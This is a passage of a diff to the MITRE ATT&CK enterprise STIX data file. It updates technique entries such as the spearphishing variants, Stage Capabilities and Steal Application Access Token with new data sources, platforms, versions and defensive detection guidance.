Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).", "x_mitre_data_sources": [ - "Stackdriver logs", - "Azure activity logs", - "AWS CloudTrail logs", - "Process command-line parameters", - "Process monitoring", - "File monitoring" + "Firewall: Firewall Metadata", + "Firewall: Firewall Enumeration", + "Process: Process Creation", + "Command: Command Execution", + "Process: OS API Execution" ], "x_mitre_platforms": [ + "Windows", + "Azure AD", + "Office 365", + "SaaS", + "IaaS", "Linux", "macOS", - "Windows", - "AWS", - "GCP", - "Azure", - "Office 365", - "Azure AD", - "SaaS" + "Google Workspace" ] }, { @@ -29710,7 +31089,8 @@ "x_mitre_is_subtechnique": true, "x_mitre_detection": "Use file scanning to look for known software packers or artifacts of packing techniques. Packing is not a definitive indicator of malicious activity, because legitimate software may use packing techniques to reduce binary size or to protect proprietary code.", "x_mitre_data_sources": [ - "Binary file metadata" + "File: File Metadata", + "File: File Content" ], "x_mitre_contributors": [ "Filip Kafka, ESET" @@ -29760,11 +31140,6 @@ "macOS" ], "x_mitre_detection": "Monitor for command shell execution of source and subsequent processes that are started as a result of being executed by a source command. Adversaries must also drop a file to disk in order to execute it with source, and these files can also detected by file monitoring.", - "x_mitre_data_sources": [ - "Process monitoring", - "File monitoring", - "Process command-line parameters" - ], "x_mitre_version": "2.0" }, { @@ -29834,8 +31209,7 @@ "Erye Hernandez, Palo Alto Networks" ], "x_mitre_data_sources": [ - "File monitoring", - "Process monitoring" + "File: File Metadata" ], "x_mitre_detection": "It's not common for spaces to be at the end of filenames, so this is something that can easily be checked with file monitoring. From the user's perspective though, this is very hard to notice from within the Finder.app or on the command-line in Terminal.app. Processes executed from binaries containing non-standard extensions in the filename are suspicious.", "x_mitre_permissions_required": [ @@ -29875,6 +31249,21 @@ "external_id": "CAPEC-163", "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/163.html" + }, + { + "source_name": "Microsoft Anti Spoofing", + "url": "https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide", + "description": "Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020." + }, + { + "source_name": "ACSC Email Spoofing", + "url": "https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf", + "description": "Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020." + }, + { + "source_name": "Elastic - Koadiac Detection with EQL", + "url": "https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql", + "description": "Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 30, 2020." } ], "object_marking_refs": [ @@ -29882,7 +31271,7 @@ ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Spearphishing Attachment", - "description": "Adversaries may send spearphishing emails with a malicious attachment in an attempt to gain access to victim systems. Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon [User Execution](https://attack.mitre.org/techniques/T1204) to gain execution.\n\nThere are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one.", + "description": "Adversaries may send spearphishing emails with a malicious attachment in an attempt to gain access to victim systems. Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon [User Execution](https://attack.mitre.org/techniques/T1204) to gain execution. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.\n\nThere are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one. ", "id": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597", "type": "attack-pattern", "kill_chain_phases": [ @@ -29891,18 +31280,18 @@ "phase_name": "initial-access" } ], - "modified": "2020-10-18T01:52:25.316Z", + "modified": "2021-04-01T16:21:17.553Z", "created": "2020-03-02T19:05:18.137Z", - "x_mitre_version": "2.0", + "x_mitre_contributors": [ + "Philip Winther" + ], + "x_mitre_version": "2.1", "x_mitre_is_subtechnique": true, - "x_mitre_detection": "Network intrusion detection systems and email gateways can be used to detect spearphishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems.\n\nAnti-virus can potentially detect malicious documents and attachments as they're scanned to be stored on the email server or on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the attachment is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203) or usage of malicious scripts.", + "x_mitre_detection": "Network intrusion detection systems and email gateways can be used to detect spearphishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems.\n\nFiltering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)\n\nAnti-virus can potentially detect malicious documents and attachments as they're scanned to be stored on the email server or on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the attachment is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203) or usage of malicious scripts.\n\nMonitor for suspicious descendant process spawning from Microsoft Office and other productivity software.(Citation: Elastic - Koadiac Detection with EQL)", "x_mitre_data_sources": [ - "File monitoring", - "Packet capture", - "Network intrusion detection system", - "Detonation chamber", - "Email gateway", - "Mail server" + "Application Log: Application Log Content", + "Network Traffic: Network Traffic Content", + "Network Traffic: Network Traffic Flow" ], "x_mitre_platforms": [ "macOS", @@ -29943,7 +31332,7 @@ ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Spearphishing Attachment", - "description": "Before compromising a victim, adversaries may send spearphishing messages with a malicious attachment to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.\n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon the recipient populating information then returning the file.(Citation: Sophos Attachment)(Citation: GitHub Phishery) The text of the spearphishing email usually tries to give a plausible reason why the file should be filled-in, such as a request for information from a business associate. Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures.", + "description": "Adversaries may send spearphishing messages with a malicious attachment to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.\n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon the recipient populating information then returning the file.(Citation: Sophos Attachment)(Citation: GitHub Phishery) The text of the spearphishing email usually tries to give a plausible reason why the file should be filled-in, such as a request for information from a business associate. Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures.", "id": "attack-pattern--8982a661-d84c-48c0-b4ec-1db29c6cf3bc", "type": "attack-pattern", "kill_chain_phases": [ @@ -29952,18 +31341,20 @@ "phase_name": "reconnaissance" } ], - "modified": "2020-10-24T04:12:48.152Z", + "modified": "2021-04-15T03:41:33.335Z", "created": "2020-10-02T17:08:57.386Z", "x_mitre_contributors": [ + "Philip Winther", "Sebastian Salla, McAfee", "Robert Simmons, @MalwareUtkonos" ], "x_mitre_data_sources": [ - "Mail server", - "Email gateway" + "Application Log: Application Log Content", + "Network Traffic: Network Traffic Content", + "Network Traffic: Network Traffic Flow" ], - "x_mitre_detection": "Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed. Also consider enabling DMARC to verify the sender of emails.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)", - "x_mitre_version": "1.0", + "x_mitre_detection": "Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)", + "x_mitre_version": "1.1", "x_mitre_is_subtechnique": true, "x_mitre_platforms": [ "PRE" @@ -29996,7 +31387,7 @@ }, { "id": "attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7", - "description": "Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. \n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging [User Execution](https://attack.mitre.org/techniques/T1204). The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly or verify the receipt of an email (i.e. web bugs/web beacons). Links may also direct users to malicious applications designed to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s, like OAuth tokens, in order to gain access to protected applications and information.(Citation: Trend Micro Pawn Storm OAuth 2017)", + "description": "Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.\n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging [User Execution](https://attack.mitre.org/techniques/T1204). The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly or verify the receipt of an email (i.e. web bugs/web beacons). Links may also direct users to malicious applications designed to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s, like OAuth tokens, in order to gain access to protected applications and information.(Citation: Trend Micro Pawn Storm OAuth 2017)", "name": "Spearphishing Link", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "object_marking_refs": [ @@ -30017,6 +31408,16 @@ "source_name": "Trend Micro Pawn Storm OAuth 2017", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks", "description": "Hacquebord, F.. (2017, April 25). Pawn Storm Abuses Open Authentication in Advanced Social Engineering Attacks. Retrieved October 4, 2019." + }, + { + "source_name": "Microsoft Anti Spoofing", + "url": "https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide", + "description": "Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020." + }, + { + "source_name": "ACSC Email Spoofing", + "url": "https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf", + "description": "Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020." } ], "type": "attack-pattern", @@ -30026,28 +31427,26 @@ "phase_name": "initial-access" } ], - "modified": "2020-10-18T01:53:39.818Z", + "modified": "2021-04-14T14:38:42.715Z", "created": "2020-03-02T19:15:44.182Z", "x_mitre_platforms": [ "Linux", "macOS", "Windows", "Office 365", - "SaaS" + "SaaS", + "Google Workspace" ], - "x_mitre_detection": "URL inspection within email (including expanding shortened links) can help detect links leading to known malicious sites. Detonation chambers can be used to detect these links and either automatically go to these sites to determine if they're potentially malicious, or wait and capture the content if a user visits the link.\n\nBecause this technique usually involves user interaction on the endpoint, many of the possible detections take place once [User Execution](https://attack.mitre.org/techniques/T1204) occurs.", + "x_mitre_detection": "URL inspection within email (including expanding shortened links) can help detect links leading to known malicious sites. Detonation chambers can be used to detect these links and either automatically go to these sites to determine if they're potentially malicious, or wait and capture the content if a user visits the link.\n\nFiltering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)\n\nBecause this technique usually involves user interaction on the endpoint, many of the possible detections take place once [User Execution](https://attack.mitre.org/techniques/T1204) occurs.", "x_mitre_is_subtechnique": true, - "x_mitre_version": "2.0", + "x_mitre_version": "2.1", "x_mitre_data_sources": [ - "Packet capture", - "Web proxy", - "Email gateway", - "Detonation chamber", - "SSL/TLS inspection", - "DNS records", - "Mail server" + "Application Log: Application Log Content", + "Network Traffic: Network Traffic Content", + "Network Traffic: Network Traffic Flow" ], "x_mitre_contributors": [ + "Philip Winther", "Shailesh Tiwary (Indian Army)", "Mark Wee", "Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)", @@ -30087,7 +31486,7 @@ ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Spearphishing Link", - "description": "Before compromising a victim, adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.\n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser.(Citation: TrendMictro Phishing)(Citation: PCMag FakeLogin) The given website may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. From the fake website, information is gathered in web forms and sent to the attacker. Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures.", + "description": "Adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.\n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser.(Citation: TrendMictro Phishing)(Citation: PCMag FakeLogin) The given website may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. From the fake website, information is gathered in web forms and sent to the attacker. Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures.", "id": "attack-pattern--2d3f5b3c-54ca-4f4d-bb1f-849346d31230", "type": "attack-pattern", "kill_chain_phases": [ @@ -30096,18 +31495,20 @@ "phase_name": "reconnaissance" } ], - "modified": "2020-10-24T04:13:12.752Z", + "modified": "2021-04-15T03:42:26.537Z", "created": "2020-10-02T17:09:50.723Z", "x_mitre_contributors": [ + "Philip Winther", "Sebastian Salla, McAfee", "Robert Simmons, @MalwareUtkonos" ], "x_mitre_data_sources": [ - "Mail server", - "Email gateway" + "Application Log: Application Log Content", + "Network Traffic: Network Traffic Content", + "Network Traffic: Network Traffic Flow" ], - "x_mitre_detection": "Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed. Also consider enabling DMARC to verify the sender of emails.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)\n\nMonitor for references to uncategorized or known-bad sites. URL inspection within email (including expanding shortened links) can also help detect links leading to known malicious sites.", - "x_mitre_version": "1.0", + "x_mitre_detection": "Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)\n\nMonitor for references to uncategorized or known-bad sites. URL inspection within email (including expanding shortened links) can also help detect links leading to known malicious sites.", + "x_mitre_version": "1.1", "x_mitre_is_subtechnique": true, "x_mitre_platforms": [ "PRE" @@ -30131,7 +31532,7 @@ ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Spearphishing Service", - "description": "Before compromising a victim, adversaries may send spearphishing messages via third-party services to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.\n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services.(Citation: ThreatPost Social Media Phishing) These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries may create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and information about their environment. Adversaries may also use information from previous reconnaissance efforts (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures.", + "description": "Adversaries may send spearphishing messages via third-party services to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.\n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services.(Citation: ThreatPost Social Media Phishing) These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries may create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and information about their environment. Adversaries may also use information from previous reconnaissance efforts (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures.", "id": "attack-pattern--f870408c-b1cd-49c7-a5c7-0ef0fc496cc6", "type": "attack-pattern", "kill_chain_phases": [ @@ -30140,8 +31541,13 @@ "phase_name": "reconnaissance" } ], - "modified": "2020-10-25T19:44:58.093Z", + "modified": "2021-04-15T03:43:12.843Z", "created": "2020-10-02T17:08:07.742Z", + "x_mitre_data_sources": [ + "Application Log: Application Log Content", + "Network Traffic: Network Traffic Content", + "Network Traffic: Network Traffic Flow" + ], "x_mitre_contributors": [ "Robert Simmons, @MalwareUtkonos" ], @@ -30202,9 +31608,9 @@ "modified": "2020-10-18T01:55:02.988Z", "created": "2020-03-02T19:24:00.951Z", "x_mitre_data_sources": [ - "SSL/TLS inspection", - "Anti-virus", - "Web proxy" + "Application Log: Application Log Content", + "Network Traffic: Network Traffic Content", + "Network Traffic: Network Traffic Flow" ], "x_mitre_version": "2.0", "x_mitre_is_subtechnique": true, @@ -30215,6 +31621,72 @@ "Windows" ] }, + { + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1608", + "url": "https://attack.mitre.org/techniques/T1608" + }, + { + "source_name": "Volexity Ocean Lotus November 2020", + "url": "https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/", + "description": "Adair, S. and Lancaster, T. (2020, November 6). OceanLotus: Extending Cyber Espionage Operations Through Fake Websites. Retrieved November 20, 2020." + }, + { + "source_name": "FireEye CFR Watering Hole 2012", + "url": "https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html", + "description": "Kindlund, D. (2012, December 30). CFR Watering Hole Attack Details. Retrieved December 18, 2020." + }, + { + "source_name": "Gallagher 2015", + "description": "Gallagher, S.. (2015, August 5). Newly discovered Chinese hacking group hacked 100+ websites to use as \u201cwatering holes\u201d. Retrieved January 25, 2016.", + "url": "http://arstechnica.com/security/2015/08/newly-discovered-chinese-hacking-group-hacked-100-websites-to-use-as-watering-holes/" + }, + { + "source_name": "ATT ScanBox", + "url": "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks", + "description": "Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020." + }, + { + "source_name": "Malwarebytes Silent Librarian October 2020", + "url": "https://blog.malwarebytes.com/malwarebytes-news/2020/10/silent-librarian-apt-phishing-attack/", + "description": "Malwarebytes Threat Intelligence Team. (2020, October 14). Silent Librarian APT right on schedule for 20/21 academic year. Retrieved February 3, 2021." + }, + { + "source_name": "Proofpoint TA407 September 2019", + "url": "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta407-silent-librarian", + "description": "Proofpoint Threat Insight Team. (2019, September 5). Threat Actor Profile: TA407, the Silent Librarian. Retrieved February 3, 2021." + }, + { + "source_name": "DigiCert Install SSL Cert", + "url": "https://www.digicert.com/kb/ssl-certificate-installation.htm", + "description": "DigiCert. (n.d.). How to Install an SSL Certificate. Retrieved April 19, 2021." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Stage Capabilities", + "description": "Adversaries may upload, install, or otherwise set up capabilities that can be used during targeting. To support their operations, an adversary may need to take capabilities they developed ([Develop Capabilities](https://attack.mitre.org/techniques/T1587)) or obtained ([Obtain Capabilities](https://attack.mitre.org/techniques/T1588)) and stage them on infrastructure under their control. These capabilities may be staged on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). Capabilities can also be staged on web services, such as GitHub or Pastebin.(Citation: Volexity Ocean Lotus November 2020)\n\nStaging of capabilities can aid the adversary in a number of initial access and post-compromise behaviors, including (but not limited to):\n\n* Staging web resources necessary to conduct [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) when a user browses to a site.(Citation: FireEye CFR Watering Hole 2012)(Citation: Gallagher 2015)(Citation: ATT ScanBox)\n* Staging web resources for a link target to be used with spearphishing.(Citation: Malwarebytes Silent Librarian October 2020)(Citation: Proofpoint TA407 September 2019)\n* Uploading malware or tools to a location accessible to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).(Citation: Volexity Ocean Lotus November 2020)\n* Installing a previously acquired SSL/TLS certificate to use to encrypt command and control traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)).(Citation: DigiCert Install SSL Cert)", + "id": "attack-pattern--84771bc3-f6a0-403e-b144-01af70e5fda0", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "modified": "2021-04-27T19:01:22.653Z", + "created": "2021-03-17T20:04:09.331Z", + "x_mitre_version": "1.0", + "x_mitre_is_subtechnique": false, + "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as initial access and post-compromise behaviors.", + "x_mitre_platforms": [ + "PRE" + ] + }, { "revoked": true, "external_references": [ @@ -30296,10 +31768,7 @@ ], "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)", "x_mitre_data_sources": [ - "Packet capture", - "Process use of network", - "Process monitoring", - "Network protocol analysis" + "Network Traffic: Network Traffic Content" ], "x_mitre_platforms": [ "Linux", @@ -30374,8 +31843,10 @@ "macOS" ], "x_mitre_data_sources": [ - "File monitoring", - "Process monitoring" + "File: File Creation", + "File: File Modification", + "Process: Process Creation", + "Command: Command Execution" ], "x_mitre_detection": "The /Library/StartupItems folder can be monitored for changes. Similarly, the programs that are actually executed from this mechanism should be checked against a whitelist.\n\nMonitor processes that are executed during the bootup process to check for unusual or unknown applications and behavior.", "x_mitre_permissions_required": [ @@ -30386,7 +31857,7 @@ }, { "id": "attack-pattern--890c9858-598c-401d-a4d5-c67ebcdd703a", - "description": "Adversaries can steal user application access tokens as a means of acquiring credentials to access remote systems and resources. This can occur through social engineering and typically requires user action to grant access.\n\nApplication access tokens are used to make authorized API requests on behalf of a user and are commonly used as a way to access resources in cloud-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) OAuth is one commonly implemented framework that issues tokens to users for access to systems. An application desiring access to cloud-based services or protected APIs can gain entry using OAuth 2.0 through a variety of authorization protocols. An example commonly-used sequence is Microsoft's Authorization Code Grant flow.(Citation: Microsoft Identity Platform Protocols May 2019)(Citation: Microsoft - OAuth Code Authorization flow - June 2019) An OAuth access token enables a third-party application to interact with resources containing user data in the ways requested by the application without obtaining user credentials. \n \nAdversaries can leverage OAuth authorization by constructing a malicious application designed to be granted access to resources with the target user's OAuth token. The adversary will need to complete registration of their application with the authorization server, for example Microsoft Identity Platform using Azure Portal, the Visual Studio IDE, the command-line interface, PowerShell, or REST API calls.(Citation: Microsoft - Azure AD App Registration - May 2019) Then, they can send a link through [Spearphishing Link](https://attack.mitre.org/techniques/T1192) to the target user to entice them to grant access to the application. Once the OAuth access token is granted, the application can gain potentially long-term access to features of the user account through [Application Access Token](https://attack.mitre.org/techniques/T1527).(Citation: Microsoft - Azure AD Identity Tokens - Aug 2019)\n\nAdversaries have been seen targeting Gmail, Microsoft Outlook, and Yahoo Mail users.(Citation: Amnesty OAuth Phishing Attacks, August 2019)(Citation: Trend Micro Pawn Storm OAuth 2017)", + "description": "Adversaries can steal user application access tokens as a means of acquiring credentials to access remote systems and resources. This can occur through social engineering and typically requires user action to grant access.\n\nApplication access tokens are used to make authorized API requests on behalf of a user and are commonly used as a way to access resources in cloud-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) OAuth is one commonly implemented framework that issues tokens to users for access to systems. An application desiring access to cloud-based services or protected APIs can gain entry using OAuth 2.0 through a variety of authorization protocols. An example commonly-used sequence is Microsoft's Authorization Code Grant flow.(Citation: Microsoft Identity Platform Protocols May 2019)(Citation: Microsoft - OAuth Code Authorization flow - June 2019) An OAuth access token enables a third-party application to interact with resources containing user data in the ways requested by the application without obtaining user credentials. \n \nAdversaries can leverage OAuth authorization by constructing a malicious application designed to be granted access to resources with the target user's OAuth token. The adversary will need to complete registration of their application with the authorization server, for example Microsoft Identity Platform using Azure Portal, the Visual Studio IDE, the command-line interface, PowerShell, or REST API calls.(Citation: Microsoft - Azure AD App Registration - May 2019) Then, they can send a link through [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) to the target user to entice them to grant access to the application. Once the OAuth access token is granted, the application can gain potentially long-term access to features of the user account through [Application Access Token](https://attack.mitre.org/techniques/T1550/001).(Citation: Microsoft - Azure AD Identity Tokens - Aug 2019)\n\nAdversaries have been seen targeting Gmail, Microsoft Outlook, and Yahoo Mail users.(Citation: Amnesty OAuth Phishing Attacks, August 